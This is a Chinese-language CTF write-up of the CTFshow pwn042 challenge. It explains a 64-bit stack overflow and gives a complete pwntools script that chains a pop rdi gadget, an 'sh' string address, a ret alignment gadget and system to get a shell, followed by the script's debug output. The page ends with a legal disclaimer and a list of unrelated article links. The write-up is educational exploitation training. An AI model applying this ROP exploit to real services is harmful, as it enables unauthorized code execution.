【CTFshow-pwn系列】03_栈溢出【pwn 042】详解:64位下的字符串搜寻与 ROP 📅 发布时间:2026/7/9 11:43:26 👁️ 浏览次数: 本文仅用于技术研究禁止用于非法用途。Author:枷锁在前面的关卡中我们分别学习了pwn 04064 位环境下的 ROP利用pop rdi传参调用system(/bin/sh)。pwn 041当没有/bin/sh时寻找sh字符串作为替代。来到PWN 042题目将这两个考点结合在了一起64 位环境 缺少/bin/sh。我们需要综合运用之前的知识完成这道进阶版的拼图。pwn 042 综合演练64位 ROP 拼图升级版题目信息与环境侦察题目描述pwn42: Hint: It has system, but dont have /bin/sh. Find something to replace it!运行一下程序解题过程首先使用checksec检查程序保护情况。Arch:amd64-64-little(64位程序)RELRO:Partial RELROStack:No canary found(无栈哨兵)NX:NX enabled(栈不可执行)PIE:No PIE(地址固定)侦察分析64位架构参数必须通过寄存器RDI传递。NX 开启必须使用 ROP。No PIEGadget 和字符串地址是固定的。第一部分代码审计与漏洞挖掘1. 静态分析 (IDA Pro)Main 函数int __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); logo(); puts(Hint: It has system, but dont have /bin/sh...); ctfshow(); // [漏洞点] puts(\nExit); return 0; }漏洞函数 ctfshowssize_t ctfshow() { _BYTE buf[10]; // [rsp6h] [rbp-Ah] BYREF // [漏洞点]read 读取 50 (0x32) 字节 // 50 10存在栈溢出 return read(0, buf, 0x32u); }偏移量计算 根据 IDA 注释[rbp-Ah]buf距离rbp的偏移是0xA(10 字节)。64 位下Old RBP占 8 字节。覆盖返回地址所需长度 10(buf) 8(Old RBP) 18 字节。2. 寻找拼图零件题目提供了两个辅助函数这不仅是提示更是我们的“弹药库”hint 函数__int64 hint() { system(echo flag); // 提供了 system 函数的 PLT 地址 return 0; }useful 函数int useful() { return printf(sh); // 提供了 sh 字符串 }第二部分解题思路与 Payload 构造1. 核心思路我们需要调用system(sh)。 在 64 位下这意味着将字符串sh的地址放入RDI寄存器。调用system函数。注意栈对齐 (Stack Alignment)问题。2. 搜集地址与 Gadgets我们需要的零件清单system 地址elf.sym[system]“sh” 地址next(elf.search(bsh))pop rdi; ret用于将栈上的 “sh” 地址弹入 RDI。ret用于对齐栈防止system中的movaps崩溃。3. Payload 结构解析---------------------- | Padding (18 bytes) | ---------------------- | pop rdi; ret 地址 | -- 覆盖返回地址跳转到这里 ---------------------- | sh 的地址 | -- pop rdi 执行时RDI sh ---------------------- | ret 地址 | -- 空转指令用于栈对齐 ---------------------- | system 的地址 | -- 调用 system(sh) ----------------------第三部分实战操作编写 Python 脚本进行自动化攻击。from pwn import * # 1. 基础配置 context.log_level debug context.arch amd64 # 2. 建立连接 # io process(./pwn) io remote(pwn.challenge.ctf.show, 28183) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf ELF(./pwn) # 4. 搜集拼图零件 # [零件1] system 函数地址 system_addr elf.plt[system] log.success(fSystem Address: {hex(system_addr)}) # [零件2] sh 字符串地址 # 搜索包含 sh\x00 或者单纯 sh 的地址 try: sh_addr next(elf.search(bsh)) log.success(fsh Address: {hex(sh_addr)}) except StopIteration: log.error(String sh not found!) # [零件3] Gadgets # 使用 ROP 模块自动寻找或者使用 ROPgadget 工具手动查找 # ROPgadget --binary pwn --only pop|ret | grep rdi rop ROP(elf) pop_rdi rop.find_gadget([pop rdi, ret])[0] ret rop.find_gadget([ret])[0] log.success(fpop rdi; ret: {hex(pop_rdi)}) log.success(fret: {hex(ret)}) # 5. 构造 Payload # 偏移量 10 (buf) 8 (rbp) 18 offset 18 payload flat([ ba * offset, # 1. 填充 pop_rdi, # 2. RDI ... sh_addr, # 3. sh 字符串地址 ret, # 4. 栈对齐 (防止 movaps 崩溃) system_addr # 5. system(sh) ]) # 6. 发送 Payload io.sendline(payload) # 7. 获取 Shell io.interactive()运行结果[DEBUG] Sent 0x2a bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 43 08 40 00 00 00 00 00 72 08 40 00 00 00 │aaC·│···│··r·│···│ 00000020 00 00 3e 05 40 00 00 00 00 00 50 05 40 00 00 00 │···│···│··P·│···│ 00000030 00 00 │··│ [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}总结PWN 042 的核心逻辑维度PWN 040 (基础 64位 ROP)PWN 042 (进阶 64位 ROP)目标system(/bin/sh)system(sh)字符串直接给出/bin/sh需搜索shGadgetpop rdi; retpop rdi; ret栈对齐需注意需注意 (添加 ret gadget)核心启示 这道题再次强调了“环境适应性”。架构变了64位我们就用寄存器传参。字符串变了没了/bin/sh我们就搜sh。栈不对齐了Crash我们就加ret。只要掌握了这些基本原理无论题目形式如何变化我们都能找到解题的路径。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。
【毕业设计】基于springboot+小程序的医院挂号系统小程序(源码+文档+远程调试,全bao定制等) 博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am… 2026/7/9 11:43:04
小程序毕设项目:基于springboot+小程序的医院挂号系统小程序(源码+文档,讲解、调试运行,定制等) 博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am… 2026/7/7 8:13:11
提示工程架构师必知:Agentic AI的3大设计模式 提示工程架构师必知:Agentic AI的3大设计模式 一、引入与连接:从“工具AI”到“Agentic AI”的进化 1. 一个让架构师共鸣的场景 假设你设计了一个AI写作助手,用户要求“写一篇关于‘元宇宙教育’的白皮书”。如果是传统工具AI,它可能会直接生成一篇结构完整但缺乏针对性… 2026/5/17 3:28:32
深度学习的梯度消失与梯度爆炸 深度学习的“成长烦恼”:系统解析梯度消失与梯度爆炸 在深度神经网络的训练过程中,梯度消失(Vanishing Gradient)与梯度爆炸(Exploding Gradient)是阻碍模型收敛的两大核心难题。这两个问题本质上源于反向传… 2026/7/9 11:42:58
抖音批量下载终极指南:免费开源工具助你高效管理内容 抖音批量下载终极指南:免费开源工具助你高效管理内容 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback suppor… 2026/7/9 11:42:58
彻底搞懂 Young GC 与 Full GC:GC 日志逐行拆解 + 面试考点 前言 上周朋友面试复盘的时候,问:JVM 的 Young GC 和 Full GC 到底有什么本质区别?为什么有的大对象会直接进入老年代?GC 日志到底该怎么看懂? 以前只停留在“年轻代垃圾回收快、老年代回收慢”的浅层认知࿰… 2026/7/9 11:40:57
软件测试大作业实战:从功能、性能到自动化的完整工程化方案 1. 项目整体设计与思路拆解看到“软件测试大作业”这个标题,很多同学的第一反应可能是“找一套模板,改改数据,跑一遍流程,交差”。但如果你真的这么想,那就错过了这个项目最核心的价值。这个作业的本质,不是… 2026/7/9 11:36:56
统计分析报告统计图表呈现方法 镝数图表-在线动态图表工具-零代码数据大屏可视化 在这个网站上,登录后,左下角,导入数据,然后选择饼状图或其他方式,进行数据呈现。 2026/7/9 11:36:56
基于Claude Code与Codex双Agent协作的WebGIS全链路开发 涵盖从真实数据驱动的Leaflet交互地图、MapLibre矢量瓦片、ECharts科技大屏与Canvas动效可视化,到PostGIS空间数据库、Express后端接口及阿里云部署的全流程实践,构建可上线、可复用、可交付的WebGIS科研成果系统 很多WebGIS项目并不缺想法,真… 2026/7/9 11:32:46
机器视觉与PLC集成:轮毂缺陷检测与字符识别误差控制在0.2mm内 机器视觉与PLC集成:轮毂缺陷检测与字符识别误差控制在0.2mm内的技术实现轮毂作为汽车关键零部件,其表面质量直接影响行车安全与美观。传统人工检测效率低且易漏检,而采用机器视觉与PLC集成方案可实现微米级精度检测。本文将深入解析高精度视觉… 2026/7/9 0:01:04
GBase 8a vs MySQL 8.0:ALTER TABLE语法与限制的5点关键差异对比 GBase 8a与MySQL 8.0:ALTER TABLE语法差异深度解析与实战指南1. 两种数据库的ALTER TABLE能力全景对比在数据库架构设计和运维过程中,表结构变更(DDL操作)是不可避免的需求。GBase 8a作为国产分析型数据库代表,与开源M… 2026/7/9 0:03:06
【大数据毕业设计】基于多源旅游数据的景区热度分析与推荐系统的设计与实现 基于 Django 的旅游偏好挖掘与景区推荐系统(源码+文档+远程调试,全bao定制等) 博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am… 2026/7/9 0:05:09
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/7 11:26:57
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/8 20:15:17
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/8 14:25:08